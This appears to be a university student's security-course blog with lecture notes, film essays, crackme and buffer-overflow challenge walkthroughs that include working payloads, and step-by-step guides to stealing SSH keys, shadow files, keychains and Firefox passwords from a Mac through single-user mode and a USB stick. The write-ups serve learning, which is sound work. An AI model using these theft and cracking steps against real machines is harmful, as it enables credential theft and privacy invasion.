fail-unsafe - Tumblr blog

[fail-unsafe]

Week 9 Lecture

Just Culture

putlocker123 the china syndrome

What makes engineering secure? - history (observe and learn from mistakes of the past) - methodology (you dont do things ad-hoc; there's a  process) - standards - best practice - regulations (e.g. not allowed to use asbestos) - legal accountability (e.g. an engineer that builds a bad  bridge could be sued for negligence; maybe we need a  similar thing for software engineer) - testing (falsifiablity) - 3rd-party audits - professionalism/pride in work (you're serving the  profession, not just your boss) - dealing/preventing conflicts of interest - quantify things (metrics, measurements) - closing the loop (getting feedback/testing)

We dont want wishful thinking; we want wise thinking.

350 alarms going off; too much! Make your errror messages/warnings few; stick to the important ones

Systematic issues (are workers over-worked/frustrated/stressed/hot, causing them to make mistakes)

coherence (separation of concerns) not too complex not too tightly coupled (if, to change 1 thing in the code, you have to change a million other things, your code is tightly coupled)

why are there humans in the loop? - humans make ASDs (automatic safety devices), so ASDs aren't perfect - difficult to cover every scenario

Designers can only gurantee, that, given some preconditions, you have some postconditions. Attacker's job is to exploit system by making pre-conditions NOT correct. What happens when the system is underwater?

People in power tend to try to undo the checks-and-balances that are meant to keep them in place.

You know how those werewolf stories have the human try to lock themselves in a cage for preparation for when they're going to turn? Politicians are like that; trying to break the system when they're in power.

ruler of the galaxy; the criteria to be the ruler is: - if you WANT to be the ruler of the galaxy, you cant be the ruler of the galaxy

self-driving cars; misdirection with trolley problem

dont have trusted 3rd-parties (e.g. bitcoin pki) (although tht may conflict with dont-roll-your-own)

The best we can do is make sure that, IF that trust is broken, the consequences are small.

all missiles have backdoors, so that they cant be used against the manufacturer

email Anatoli (toli@unsw.edu.au) to get free tickets to September 20th cybersecurity conference (at UNSW!)

email anatoli about tutoring

richard buckland might offer to be a reference on CV/resume!

[fail-unsafe]

Reverse Engineering Workshop: Problem 1

Weeks ago, one of the COMP6841 tutors (Jasper Lowell) gave a fun, interesting talk on reverse engineering (basically, disassembling assembly/binary to see what the original code/assembly was), and how this could be useful to, say, modify or analyse a program even when you don’t have the source code. Here’s 1 example problem he gave (the easiest one):

We are given a program that requests a password. It prints “correct“ if the password is correct, “incorrect“ if it isn’t.

$ ./0x00 Password: password Password incorrect. $ ./0x00 Password: 123456 Password incorrect. $ ./0x00 Password: idontknow! Password incorrect. $

All we have is the program (i.e. the binary); we do NOT have the source code. The challenge given to us is: i) Find input that results in the program printing ‘Password correct!’. ii) Modify the binary such that any input results in the program printing ‘Password correct!’.

Here’s how we go about solving it:

First, get some reverse-engineering software to disassemble the binary. Some popular choices include Ida, Ghidra, and Binary Ninja. I was told that Binary Ninja was the most noob-friendly of these, so that’s the one I chose (although the full version costs money the demo version is good enough for this exercise).

Open up the binary in Binary Ninja:

Then, in the “Functions” panel on the left, select “main”:

What you are now seeing is the disassembly of the main function:

You’ve probably already spotted what the password is, but let’s walk through it a bit to understand what’s going on.

In main(), we can identify some calls to C functions being made (printf, fgets, strlen, strncmp). The line containing {“Password: ”} is probably loading an argument for the printf(); and the line containing {“asecurepassword”} is probably loading an argument for the strncmp().

The last line of the first main() box is a jump instruction (jne, for “jump if not equal”), after which the control flow splits. You can probably deduce based on the strings {“Password incorrect.”} and {“Password correct!”} that these are 2 branches of an if-else check on the result of strncmp(). Eventually, the 2 branches re-converge to complete the last instructions of main (basically to exit).

No awards for guessing what the correct password is now:

$ ./0x00 Password: asecurepassword Password correct! $

Great, we’ve solved the first part of the challenge! Now for the second part; how can we modify the binary so that it ALWAYS prints “Password correct!”?

What we want to do is get rid of the branch so that the code always executes the path where we print correct. And in Binary Ninja it’s actually pretty easy.

Right-click the line with the 'jne 0x11f7’ on it, go to “Patch”, then select “Never Branch”. The disassembly should now look something like this:

The jump instruction & if-check has been replaced with nops (for “no-operation”, the Assembly instruction that literally means “nothing to do, move on to the next instruction”).

Save this new file (preferably in a different location if you don’t want to overwrite the original binary), make it executable, and you’ll find that when you run it, it will always print “Password correct!”, no matter what input you give it.

$ chmod +x 0x00 # make the new file executable $ ./0x00 Password: literally anything lol Password correct! $

Challenge complete!

(If you’re curious, here’s what the original source code actually looked like):

/* * Copyright (c) 2019 Jasper Lowell * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, version 3. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #include <stdio.h> #include <stdlib.h> #include <string.h> #define FLAG "asecurepassword" #define BUFFER_SIZE 256 int main(void) { char buffer[BUFFER_SIZE]; /* Prompt for password. */ printf("%s", "Password: "); /* * Read password from user input. * * This is the first challenge. To avoid making the control diagram * more complex, error handling is omitted. */ fgets(buffer, BUFFER_SIZE, stdin); /* * Validate password. * strlen(buffer) - 1 to account for an expected newline. */ if (strncmp(buffer, FLAG, strlen(buffer) - 1) == 0) { puts("Password correct!"); return EXIT_SUCCESS; } puts("Password incorrect."); return EXIT_FAILURE; }

This is ostensibly secure code, yet was surprisingly easy to learn the password from. And whilst most professional software (hopefully) has more sophisticated means of checking passwords then just hash-defining the correct password right in the source code, there is probably lots of code (especially in simple IoT systems, the tutor said) that is written like this.

So what are the uses of reverse engineering? Apart from getting past annoying login prompts, it has also been used to (for example) disassemble malware to better understand how it works. For example, the kill-switch in the WannaCry ransomware was found via reverse engineering.

Resources

The GitHub repo containing the practice examples. If you have a Linux machine, try downloading the latest release and crack them yourself!

https://github.com/jtalowell/crackme

Finding the WannaCry kill-switch in Ghidra

https://medium.com/@yogeshojha/reverse-engineering-wannacry-ransomware-using-ghidra-finding-the-killswitch-a212807e9354

[fail-unsafe]

Buffer Overflow Exploit Practice: 1.1-whereami

I will describe yet another one of the COMP6841 buffer overflow exploit practice challenges, and how to go about solving it.

We are given a program (./whereami) that prompts the user for some input and cowsays a random quote. Here’s some output of it running:

$ ./whereami The winning function is at 0x8048506 Do you remember how function pointers work ? no Preparing to jump to 0x8048539 ______________________________________ / Q: What do agnostic, insomniac \ | dyslexics do at night? A: Stay awake | \ and wonder if there's a dog. / -------------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || $ ./whereami The winning function is at 0x8048506 Do you remember how function pointers work ? yes Preparing to jump to 0x8048539 _________________________________________ / Why is it that we rejoice at a birth \ | and grieve at a funeral? It is because | | we are not the person involved. -- Mark | \ Twain, "Pudd'nhead Wilson's Calendar" / ----------------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || $

As you can see, it also tells us the address in memory of the winning function (0x8048506).

Here’s the code for it:

#include <stdio.h> #include <stdlib.h> #include <unistd.h> void win(void) { printf("Oh noe; my code flow\n"); system("/bin/sh"); } void lose(void) { system("/usr/games/cowsay `/usr/games/fortune`"); } int main(int argc, char** argv) { // setup local variables void (*function)(void) = lose; char buffer[64]; // Print hints printf("The winning function is at %p\n",win); printf("Do you remember how function pointers work ?\n"); // get user input, save to buffer gets(&buffer); // jump to function printf("Preparing to jump to %p\n",function); fflush(stdout); function(); return EXIT_SUCCESS; }

So what’s the actual challenge? The challenge is to find an input for the program that will result in the win function being called (without modifying the program code/binary, of course). How can we do this?

Like last time, let’s look at the code for some openings. Look at these 3 lines of the code:

// setup local variables void (*function)(void) = lose; char buffer[64];

We have 2 local variables declared next to each other; function (a function pointer) and buffer (an array of 64 char).

In C, local variables are added to the stack. So the stack frame for the main function is initially empty:

Then function is added to the stack (assuming a pointer is 4 bytes):

Then buffer is added to the stack (assuming a char is 1 byte):

Some things to note:

buffer is right on top of function on the stack (makes sense, since they were declared right next to each other).

To be more precise, buffer[63] (the last element in the buffer array) is stored right next to function.

All the elements of buffer are stored contiguously (i.e. buffer[1] is stored right next to buffer[0], buffer[2] is stored right next to buffer[1], buffer[3] is stored right next to buffer[2], etc).

Based on the above information, what do you think would happen if we wrote to buffer[64]? We’d overwrite the 1st byte of the function variable. Similarly, if we wrote to buffer[65], we’d overwrite the 2nd byte of the function variable. buffer[66] => 3rd byte of function, etc.

So if we want to overwrite the entire function variable, we’d have to write to buffer[64..67] (4 elements, since function is 4 bytes big).

Once again, the code initializes the buffer with a call to gets, which doesn’t check the length of input it’s reading.

So if we enter a string 68 characters long (64 to fill up buffer + 4 to overwrite function), with the last 4 character being the address of the winning function, we can set function = win, thus triggering the the call to win().

Will it work?

$ python -c "print('a'*64 + '0x8048506')" | ./whereami The winning function is at 0x8048506 Do you remember how function pointers work ? Preparing to jump to 0x30387830 Segmentation fault (core dumped)

Aw, It didn’t work. Instead of jumping to 0x8048506 (where the winning function is), we’re apparently jumping to 0x30387830.

The problem is that our string representing the address is too long; we said it has to be 4 characters long, but the string we’re using inside the print() call (‘0x8048506’) is 9 characters long.

To write the address 0x8048506 (which is in hexadecimal), we must write it as ’\x08\x04\x85\x06’ (\x is the hexadecimal escape character). Now our string is 4 bytes long.

Ok, will it work now?

$ python -c "print('a'*64 + '\x08\x04\x85\x06')" | ./whereami The winning function is at 0x8048506 Do you remember how function pointers work ? Preparing to jump to 0x6850408 Segmentation fault (core dumped) $

Still not yet. Instead of jumping to 0x8048506, we’ve jumped to 0x6850408 (which is the reverse). That’s due to a little quirk of Intel CPUs, which are little endian. So if we want to jump to 0x8048506, we have to input it backwards (i.e. ’\x06\x85\x04\x08’, instead of ’\x08\x04\x85\x06’).

So, will this finally work?

$ python -c "print('a'*64 + '\x06\x85\x04\x08')" | ./whereami The winning function is at 0x8048506 Do you remember how function pointers work ? Preparing to jump to 0x8048506 Oh noe; my code flow

Yes! It worked!

[fail-unsafe]

Buffer Overflow Exploit Practice: 1.0-Basic

The COMP6841 students were given some buffer-overflow exploit challenges to do. This post will describe the first one, and how I solved it.

The program (./basic) asks the user to enter their name and prints a response. E.g.

$ ./basic Halt! Who goes there! Saeed Let me see if you're on the list, Saeed... $ ./basic Halt! Who goes there! Adam Let me see if you're on the list, Adam... $

Here’s the code for it:

#include <stdio.h> #include <stdlib.h> #include <unistd.h> void win(void); void doCheck(void); int main(int argc, char** argv) { doCheck(); return EXIT_SUCCESS; } void doCheck(void) { // turn off print buffering setbuf(stdout, NULL); // setup local variables char team = 'A'; char name[32]; // Print printf("Halt! Who goes there!\n"); // get user input, save to array gets(&name); // jump to function printf("Let me see if you're on the list, %s...\n",name); if (team == 'B') { win(); } return; } void win(void) { printf("We can leave this here, because it is never called.\n"); printf("Our flag is safe.\n"); printf("Flag: COMP6841{Hey_Look_Ma_I_Made_It!}\n"); return; }

After going over this code, you realize that the function `win` is never called, since `win` is only called if `team` == ‘B’, but `team` is only ever assigned 'A’.

So what’s the actual challenge? The challenge is to find an input for the program that will result in the `win` function being called (without modifying the program code/binary, of course). How can we do this?

Well, lets look at the code for some vulnerabilities. Note these 2 lines in the code:

char team = 'A'; char name[32];

We have 2 local variables declared next to each other; `team` (a char) and `name` (an array of 32 char).

Now, remember that in C, local variables are added to the stack. So the stack frame for the `doCheck` function is initially empty:

Then `team` is added to the stack (note: in my diagram, the stack grows up):

Then `name` is added to the stack:

A few things worth noting:

`name` is right on top of `team` on the stack (makes sense, since they were declared right next to each other).

To be more precise, `name[31]` (the last element in the `name` array) is stored right next to `team`.

All the elements of `name` are stored contiguously (i.e. `name[1]` is stored right next to `name[0]`, `name[2]` is stored right next to `name[1]`, `name[3]` is stored right next to `name[2]`, etc).

Now, based on the above information, what do you think would happen if we were to write to `name[32]`? That’s right… we’d overwrite the `team` variable. What could we write to it? Any char value we want, like, oh just for example, 'B’ (hopefully you see where I’m going with this).

Also observe in the code that name is initialized with a call to the `gets` function, which doesn’t actually check the size of the `name` buffer:

// get user input, save to array gets(&name);

So if we enter in a string 33 characters long (32 to fill up `name` + 1 to overwrite `team`), with the last character being 'B’, we can set `team` = 'B’, thus triggering the if-condition and the call to win(). Will it work?

$ ./basic Halt! Who goes there! BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB Let me see if you're on the list, BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB... We can leave this here, because it is never called. Our flag is safe. Flag: COMP6841{Hey_Look_Ma_I_Made_It!} $

It worked!

Note that the string we enter doesn’t have to be ALL 'B’s. It just has to be 33 characters long, with the last character being 'B’, in order for this to work:

$ ./basic Halt! Who goes there! abcdefghijklmnopqrstuvwxyz123456B Let me see if you're on the list, abcdefghijklmnopqrstuvwxyz123456B... We can leave this here, because it is never called. Our flag is safe. Flag: COMP6841{Hey_Look_Ma_I_Made_It!} $

So that’s it; we can trick the program into calling the `win()` function by entering a name that is (length of the `name` buffer)+1 characters long, with the last character being 'B’.

P.S. For future exploits, instead of manually entering all our characters, we can pipe them in from a character-generating program (e.g. Python on the command-line):

$ python -c "print('B' * 33)" | ./basic

[fail-unsafe]

Dr. Strangelove or: How Single-Point-of-Failure can come in many Shapes and Sizes

One of the films we watched for Security Theatre in my COMP6841 course was Dr Strangelove. Aside from being an entertaining and engaging satirical parody of Cold War era politics, it may also offer some useful insights into single-point-of-failure.

First off, what is a single-point-of-failure?

Single-point-of-failure refers to a particular component of a system which, if compromised/broken, compromises/breaks the whole system.

For example, if the electricity grid was wired in such a way that 1 utility pole collapsing meant power was lost in the entire city, then that utility pole is a single-point-of-failure. If that 1 utility pole is compromised/broken, then the whole electricity infrastructure is compromised/broken. (note that a system can have multiple single-points-of-failure. For instance, if the electricity grid was constructed such that a failure in ANY of the many utility poles would bring down the whole system, then we can say that the system has multiple “single” points of failure (or just say “multiple points of failure”)).

A single-point-of-failure is basically the defining characteristic of a fragile system. Without backups/contingency plans/fail-safes in case any of these components break, a single small problem can bring down the whole system.

So, how does this relate to Dr. Strangelove?

The plot of the film is kick-started by US Air Force general Jack Ripper going rogue and issuing “Wing Attack Plan R“ (basically plan “nuke the Russians”) without the Pentagon’s permission.

“War is too important to be left to politicians. They have neither the time, the training, nor the inclination for strategic thought.” - General Jack D.Ripper

What follows is a chain of events that make it increasingly difficult for the Pentagon to stop the order once its been issued.

They cant communicate via radio with anyone at Ripper’s base because all the radios have been confiscated (per Ripper’s instructions).

They cant radio the bomber planes to abort mission because the planes (following protocol) have switched their radios to accept only messages preceded by a secret 3-letter code that only Ripper knows (i.e. Ripper has basically prevented anyone else from communicating with the bombers).

Ripper has told his own troops on base that the “enemy” (Soviets) may be wearing American uniforms to fool them, prompting his troops to fire on any other troops they don’t recognize.

And when the good guys DO finally storm Ripper’s base (SPOILERS! DONT READ AHEAD IF YOU HAVENT SEEN THE MOVIE!), Ripper has already killed himself, leaving nobody who knows the secret code.

The plot of the whole movie is basically the good-guys trying to reverse Ripper’s command before it’s too late.

We could say that 1 single-point-of-failure in Wing Attack Plan R is Ripper; the rogue commander. There are all these protocols, procedures and safety measures in place to prevent the enemy from thwarting the plan (confiscating/switching radios to prevent the enemy from listening/interfering with their communications), but none of them ever take into account the possibility of the GENERAL being the problem and issuing the order when they’re not supposed to. Too much trust and power was placed in 1 man.

So, how SHOULD the system have been designed in order to prevent such a scenario from happening? One idea that some of you may have already had is to automate the system; take the corruptible and fallible human out of the loop, and let a computer decide when/if to launch the nukes.

But the film goes on to show how even this can represent a single point of failure. When the Pentagon informs the Russian ambassador of the bombers heading their way, he warns them about the Doomsday Machine, the Russian computer system programmed to automatically launch Russia’s nuclear arsenal if the homeland is bombed. And since the Doomsday Machine is DESIGNED to be tamper-proof (so that it can’t be sabotaged/destroyed), there’s no way to disable it!

Ambassador: The Doomsday Machine is designed to trigger itself automatically. President: But surely you can disarm it somehow? Ambassador: No, it’s designed to explode if any attempt is made to un-trigger it!

So now the stakes are even higher; if the bombers reach Russia, not only will they nuke all of Russia, but they’ll trigger the Doomsday Machine, which will nuke the rest of the world.

In this case, the single-point-of-failure is the Doomsday Machine itself. Even IF the machine works flawlessly (no bugs, no false readings, etc), the fact that it is supposed to be tamper-proof means that it too, like the Americans’ Wing Attack Plan R, cant be stopped once started.

So the solution is neither to place all our trust in a single human, nor in a single computer system. Then what IS the solution? Hard to say. It’s hard to identify single-points-of-failure in complex systems. Although it seems to me that the common flaw in both the Americans and Russians’ systems is that there’s no way to undo a course of action once it’s been decided upon; meaning that there’s no way to correct mistakes. So a system should probably be designed with some kill-switch/way to abort a command once it’s been issued (but what is the kill-switch is itself compromised? Then we need backups for the kill-switch. And maybe even backups for the backups. And...)

[fail-unsafe]

Week 8 Tutorial Notes

Not much for this one; just noted that:

# Crack wifi passwords with John the Ripper john --format=netntln hashfile.txt

As our tutor demonstrated to us, by creating his own access point, have us all try to connect to it (with a username and password of our choosing), then decrypting and reading aloud all of our passwords. I suppose the netntln format is a common format used for network passwords.

[fail-unsafe]

Something Awesome #3: Cracking Firefox Passwords

In the last Something Awesome post, I described how you could steal Firefox browser history, bookmarks and downloads. Well, it turns out that stealing (and cracking) their browser passwords is not that hard either! (this post assumes you’ve read Posts #1 & #2)

In Single user mode on the victim’s machine, simply steal all their Firefox data:

All the user’s personal data (browsing history, bookmarks, downloads, and, most importantly, passwords saved) is in the Firefox/Profiles folder. We’re interested in 2 particular files in this folder; logins.json (containing encrypted usernames and passwords for those sites):

E.g. of the logins.json file, containing a list of all sites the victim recently logged into, with encrypted username and password for each.

And key4.db, which contains the key (literally) to decrypting the usernames & passwords in logins.json.

So how do we decrypt these usernames and passwords?

On your own machine, download the Firefox Decrypt repo from GitHub.

Then just run it on the data you stole! Easy as!

Oh no! You’ve cracked my (totally not dummy-data) passwords!

[fail-unsafe]

Something Awesome post #2: Steal passwords & browsing history via USB

In Something Awesome Post #1, I described how one could utilize root-access via Cmd+S on macOS to steal arbitrary files via USB. In this post, I’ll describe what kind of potentially useful data one might want to steal other than the user’s own personal documents; like ssh-keys, system passwords, and browser history/passwords/bookmarks/search history/...

Private SSH Key

SSH works by each user having a public key (which anyone can know) and a private key (which they are NOT supposed to share with anyone else). But guess what? If root access allows you to steal arbitrary files, then that includes the file containing your private key!

IF a user uses ssh, and they created their keys with the default settings (i.e. generated via `ssh-keygen`, stored in a `id_rsa` file), then it should be relatively easy to find. For example, using the Unix “find“ command, you can see which (if any) users have a file called “id_rsa“

find /Users/ -name “id_rsa“

Here’s an example of me using it to find a private ssh key to steal (I won’t go over how to set up the filesystem for read-write access or mount a USB again; I already covered that in Something Awesome Post #1):

Search for all users (i.e. from the /Users/ directory) for a file called “id_rsa”. If/when we find it, copy their .ssh folder to our USB

Shadow Password File

Unix systems typically store a list of hashed passwords for user login in what’s called the shadow password file.

In Linux and older versions of macOS, this shadow password file is stored in `/etc/shadow`. But from OSX Lion on, macOS stores a shadow password file per user in `/var/db/dslocal/nodes/Default/users/<username>.plist`.

You have to be root to read the shadow password file; which we are! So we can steal it for cracking later :)

NOTE: Starting with macOS 10.13, even root doesn’t have permission to read the shadow password file unless System Integrity Protection is disabled. I talked about how to do that in the Something Awesome Post #1.

Cracking the hashed passwords isn’t trivial; it uses salted SHA512, but apparently it can be done [1].

Keychain database

macOS stores certain passwords (e.g. WiFi passwords, Safari passwords) in the databases used by its Keychain app.

The system keychain (containing, for example, WiFi passwords) is in `/Library/Keychains/System.keychain`. The individual-user keychain (containing, for example, Steam password) in `~/Library/Keychains/login.keychain-db`. Here’s a photo of me stealing both:

Stealing the System keychain and keychain of user `saeedbaig`

The passwords are encrypted with Triple DES[2], so, once again, cracking them isn’t trivial. But it’s doable, and once you’ve copied the keychains to your USB, you can take them and crack them on your own machine at your own leisure.

Browser History & passwords

This threat might be a bit more concrete to users; one could steal the files containing your browsing history and passwords stored by your browser.

For example, Firefox (on macOS at least) stores its password files in your Profiles folder in `key4.db`, your login history in `logins.json`, and your browsing history, bookmarks, and downloads in `places.sqlite`. Here’s a photo of me stealing them from a random user’s account:

And whilst key4.db (the database storing the actual passwords) is encrypted, logins.json and places.sqlite is not. Meaning that you can view which sites the user recently logged into by just viewing `logins.json` in your favourite text editor:

Some of the contents of `logins.js`. As we can see in this case, the user has recently logged in on woolworths.com.au and ubank.com.au. Each login also contains their encrypted username & password (which could be cracked?), as well as the encryption type (encType).

And you can easily see their bookmarks and browsing history by reading the places.sqlite file with sqlite on the command-line:

Reading the places.sqlite file. `.tables` lists what tables are in the file, `PRAGMA table_info(<table>)` gets the names of the columns in <table>, and `select <column> from <table>` gets all the values for a particular column.

The bookmarks of this particular user. Repeat the commands in the above photos for the `moz_places` table and you can view their browsing history.

This could be a big deal; most users would be worried about strangers being able to randomly read their browsing history, or their bookmarks. The places.sqlite file contains even more sensitive data, like their exact search history (in `moz_inputhistory`).

Reference List

[1] Cracking OSX Mavericks shadow password file:

https://web.archive.org/web/20140703020831/http://www.michaelfairley.co/blog/2014/05/18/how-to-extract-os-x-mavericks-password-hash-for-cracking-with-hashcat/

[2] Info about Keychain on macOS:

https://blog.macsales.com/40209-everything-you-need-to-know-about-keychain-in-macos-sierra/

Resources

Where ssh-keys are stored on macOS:

https://docs.joyent.com/public-cloud/getting-started/ssh-keys/generating-an-ssh-key-manually/manually-generating-your-ssh-key-in-mac-os-x

Where shadow password file is stored in macOS:

https://apple.stackexchange.com/questions/186893/os-x-10-9-where-are-password-hashes-stored

Where Firefox stores bookmarks, passwords and other user data:

https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data

[fail-unsafe]

Something Awesome post #1: Steal user data via USB

As I mentioned in the last Something Awesome post, it’s possible to get root access on many Macs by simply holding Cmd+S at boot. In this post, I’ll describe how an attacker can use this to copy arbitrary files to a USB (i.e. steal user data).

The following steps were carried out on a late-2011 13-inch MacBook Pro (generously lent to me by a family member for demonstration purposes), though should work for many newer Apple computers as well.

NOTE: This post assumes you are familiar with basic Unix commands like `cd`, `ls`, etc, and that you generally know how to navigate a Unix command-line. More esoteric commands (e.g. mount) will be explained where appropriate.

Step 1: Disable System Integrity Protection

Introduced in OSX El Capitan, this is a security feature that prevents modification of certain system files (even by root users). This will prevent us from being able to use a USB later, so we want to disable it.

To disable it, boot into Recovery Mode (hold down Cmd+R when turning on the computer). It will eventually load into a screen that looks something like this:

You are now in Recovery Mode

NOTE: If, instead of the above screen, you are presented with a grey or black screen with a padlock/password field, like this:

... then the disk is encrypted with FileVault and requires a firmware password (which we don’t have). There’s nothing we can do about this; if this happens, just give up. ... if you DON’T get this password prompt, hooray! Their disk isn’t encrypted and we can continue. Read on...

Now go to Utilities -> Terminal, and execute the following command:

csrutil disable

Disabling System Integrity Protection

You must then restart the computer for the changes to take affect.

Step 2: Boot into Single User mode to get root access

Pretty simple, just hold down Cmd+S at boot (do NOT boot with the USB already inserted; we will insert it later).

You will be greeted by a wall of text which should look something like this:

You are now root

Step 2: Mount the disk as read-write

I.e. Give ourselves read-write permissions over the disk. This is also pretty easy, as the startup wall of text literally tells you how to do it.

First, they recommend running a check on the disk (to make sure the filesystem is consistent and not broken, etc):

/sbin/fsck -fy

Then, we actually mount the disk as read-write:

/sbin/mount -uw /

We now have read-write permissions over everything on the disk

At this point we already have a lot of power. There’s lots of nefarious things we could do at this point (read/modify/delete user data, write malware), but for this post I will focus on trying to STEAL user data via USB.

Step 3: Mount our USB

This step is relatively boring but necessary; it’s just learning how to prepare & use USBs in Unix.

Navigate to the dev/ directory (where external devices are registered):

cd /dev/

This directory contains a list of devices. This list will update once we insert our USB, so we want to record & compare the before VS after lists to identify which name represents our USB.

First, output the current list to a temporary file (say, before_insert_usb) in the /tmp/ directory:

ls > /tmp/before_insert_usb

NOTE: The reason we create the temporary file in the /tmp/ directory is, well, because it’s supposed to be temporary! (files in /tmp/ are deleted periodically by the system). A more subtle reason is because we don’t want to leave behind any traces of our presence; if the user notices random files and folders on their computer that weren’t there before, they may realize someone has been snooping around their computer.

Now, insert your USB into the computer. Some text should show up displaying information about it. Mine looks like this (yours will look slightly different):

USBMSC Identifier (non-unique): AA04012700007486 0x90c 0x1000 0x1100, 2

Wait about 5 seconds (just in case anything needs time to update).

Now, output the new list to a different temporary file (say, after_insert_usb) in the /tmp/ directory:

ls > /tmp/after_insert_usb

Now compare the 2 files to see what the new list contains that the old list doesn’t (i.e. what device/s were added once we inserted the USB):

diff /tmp/before_insert_usb /tmp/after_insert_usb

Your output should look something like this (numbers and names might be slightly different):

12a13,14 > disk1 > disk1s1 164a167,168 > rdisk1 > rdisk1s1

We’re looking for something like disk1s1 or disk1s2; if your output contains one of those, then good! That’s our USB.

Determining the name of our USB

Next, we have to create a directory where our USB will eventually be mounted (used) in.

Let’s create a directory in /Volumes/ called, say, “usb” (the actual name and location of this directory doesn’t really matter):

mkdir /Volumes/usb/

Creating mount point

Finally, we now mount our USB with read-write permissions:

mount -w -t $(fstyp /dev/disk1s1) /dev/disk1s1 /Volumes/usb/

It’s not necessary to understand how this command works, but if you’re curious:

The -w option basically means “mount with read-write permissions“

The -t option is to specify the type of the filesystem we’re mounting (e.g. msdos, hfs).

`fstyp /dev/disk1s1` outputs the filesystem type of our USB, and we’re using that output in our mount command by enclosing it in $()

/dev/disk1s1 is the name of our USB

/Volumes/usb/ is where we want to mount (use) it.

If you want to know more about mount, read the man page for mount in macOS, but it’s not necessary for the rest of this post.

You should see lines of output saying something along the lines of “Kext with invalid signatured (...) allowed: ...“

That’s basically saying “ordinarily we wouldn’t let you execute this command because of security, but we’ll allow it“ (if we didn’t disable System Integrity Protection in step 1, the mount command would have failed).

Output of a successful mount

Yay! We can FINALLY start using our USB. Just go to /Volumes/usb and start using it as if it was a normal directory.

Checking out the contents of my USB and creating a directory on it (loot) to store the data I’m about to steal :)

Step 4: Start copying data to our USB

Finally, the part we’ve been waiting for! Everything up until this point has just been setup for what we’re about to do, which is actually pretty easy. We just navigate to the user’s account we want to steal from (the accounts are listed in the /Users/ directory), copy any files/data we want to our USB (with, say, the `cp` command), then shutdown the computer when we’re done. Here’s an example of me stealing data from one of the local user accounts (note how I didn’t need to enter their password to access their account):

Copying data in user’s local account to our USB (comments after relevant commands to explain what I’m doing)

(Here’s a transcript of the above terminal, in case the photo is too blurry for you):

root# cd /Users/    #look for victims account root# ls .DS_Store            Guest            admin            tim .localized              Shared          saeedbaig root# cd saeedbaig/    #lets pick saeedbaig as our victim root# ls    #look for what you want to steal .CFUser TextEncoding        .bash_sessions          Downloads           Pictures .DS_Store                           Applications                Library                  Public .atom                                  Desktop                      Movies .bash_history                      Documents                 Music  root# cd Desktop/ root# ls .DS_Store     .localized     my_stuff.txt root# cp my_stuff.txt /Volumes/usb/loot    #copy victims data to our USB root# shutdown -h now    #once we got what we were after, lets get out of here

After shutting down, the laptop will behave normally the next time it starts up, and the victim will be none the wiser that their documents were stolen.

Resources (links that helped me learn how to do this stuff)

General info about single-user mode:

https://support.apple.com/en-au/HT201573

http://www.westwind.com/reference/os-x/commandline/single-user.html

Getting the USB working in single-user mode:

https://discussions.apple.com/thread/7824620

http://hints.macworld.com/article.php?story=20030714194313542

[fail-unsafe]

Type 1 VS Type 2 Error in “12 Angry Men“

I was introduced in one of my COMP6841 lectures to the concept of type 1 v.s. type 2 errors (basically, the risk of false positive vs false negative), and how decisions can be analyzed in terms of it. For example, imagine an airport uses facial-scanning technology to determine whether to allow people through customs. Which risk should they be more worried about? The risk of the scanners failing to authenticate a person who should actually be allowed through (false negative), or the risk of the scanners authenticating a person who should actually NOT be allowed through (false positive)? Which risk should the airport-staff/scanner-engineers be more concerned about, and in what proportions?

An interesting observation is that this same framework, this duality between false positive VS false negative and the question that arises of which one to prioritize, can be applied to a lot of situations, not just in security. 1 example is attitudes towards punishment & the law, such as in the courtroom drama “12 Angry Men“, where 12 jurors have to decide if the accused (charged with murder) is guilty or not (if he is, he will be sentenced to death).

The protagonist of the film is initially the only juror unwilling to immediately convict him as guilty, since he has reason to doubt the evidence presented. He also asks “What if he’s actually innocent, and we end up convicting him as guilty? An innocent man will be sent to the electric chair.“

In a later scene, he talks to one of the other jurors who asks him “Say you manage to convince all of us that he’s innocent. What if he’s actually guilty, and we just let a murderer free?“

I think that’s a perfect example of type 1 vs type 2 errors. Which error should they be more worried about? The risk that the accused is innocent but is wrongly convicted; or the risk that the accused is guilty but is wrongly acquitted? Are you more worried about the possibility of an innocent person being sentenced to death (false negative), or the possibility of a murderer walking free (false positive)?

What other decisions, political or otherwise, do you think can be categorized by this type 1/type 2-mentality? What decisions CAN’T be so easily analyzed in this mentality?

[fail-unsafe]

Demonstrating format-string attack in C

Consider this following C program, that simply reads in a user’s name from stdin and greets them:

/* * Demonstrating an unsafe way of using printf that leaves the program * vulnerable to format-string attack */ #include int main(void) { // get user name printf("What is your name? "); char name[50]; scanf("%s", name); // greet user printf("Hello "); printf(name); printf("! Nice to meet you\n"); return 0; }

When we run this program, it seems to work as expected:

$ ./vulnerable_program What is your name? Saeed Hello Saeed! Nice to meet you $ ./vulnerable_program What is your name? Michael Hello Michael! Nice to meet you $

However, what if instead of entering a normal name, we entered a C-format specifier like, say, “%d” (the format-specifier for signed integers)?

$ ./vulnerable_program What is your name? %d Hello 1819043144! Nice to meet you $

That’s strange… instead of printing “Hello %d!”, it printed “Hello 1819043144!”. Why?

To answer that question, we need to understand how the printf() function works.

printf() takes in 1 or more arguments, with te first (typically) being a string. E.g.

printf("Hello world!\n"); // prints "Hello world"

If that string has any format-specifiers (e.g. %d, %lf, %s), it will attempt to print those as the rest of the arguments given. E.g.

double pi = 3.141593; printf("Pi is ~= %lf\n", pi); // prints "Pi is approximately equal to 3.141593" int length = 5; printf("A square of side length %d has area %d\n", length, length*length); // prints "A square of side length 5 has area 25"

But what if our string has format-specifiers but we don’t pass in any other arguments?

printf("%d");

In this case, printf() (not realising that you haven’t passed in any extra arguments), will naively try to pop the next variable off the stack and print it according to the format-specifier you gave (or just crash if no such int-interpretable variable exists on the stack).

